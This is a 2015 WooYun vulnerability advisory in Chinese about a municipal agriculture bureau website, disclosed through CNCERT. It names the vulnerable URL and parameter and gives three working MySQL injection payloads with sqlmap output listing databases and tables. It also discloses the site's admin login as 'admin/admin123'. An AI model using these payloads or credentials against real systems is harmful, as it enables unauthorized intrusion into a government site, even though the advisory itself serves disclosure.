当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115244

漏洞标题:某市农业局后台弱口令+SQL注入

相关厂商:某市农业局

漏洞作者: 百晓生

提交时间:2015-05-21 14:25

修复时间:2015-07-09 19:04

公开时间:2015-07-09 19:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-21: 细节已通知厂商并且等待厂商处理中
2015-05-25: 厂商已经确认,细节仅向厂商公开
2015-06-04: 细节向核心白帽子及相关领域专家公开
2015-06-14: 细节向普通白帽子公开
2015-06-24: 细节向实习白帽子公开
2015-07-09: 细节向公众公开

简要描述:

某市农业局后台弱口令+SQL注入
http://www.tzagri.gov.cn/tznw

详细说明:

SQL注入:

http://www.tzagri.gov.cn/tznw/jj.php?board_id=16


Place: GET
Parameter: board_id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: board_id=-9020' OR (7428=7428)#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: board_id=16' AND (SELECT 3606 FROM(SELECT COUNT(*),CONCAT(0x7167777
371,(SELECT (CASE WHEN (3606=3606) THEN 1 ELSE 0 END)),0x7169786a71,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'iNHa'='iNHa
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: board_id=-1180' OR 4981=SLEEP(5) AND 'mjWh'='mjWh
---
[22:01:42] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0


available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] tznw


Database: tznw
[16 tables]
+-----------+
| admin |
| board |
| dospoll |
| info_cat |
| infos |
| mydospoll |
| myospoll |
| mypoll |
| myspoll |
| ospoll |
| poll |
| qz_board |
| qz_re |
| re |
| report |
| spoll |

漏洞证明:

后台弱口令:
admin admin123

tz-ht.jpg

修复方案:

作为政府门面,不要成为僵尸站。。

版权声明:转载请注明来源 百晓生@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-05-25 19:03

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无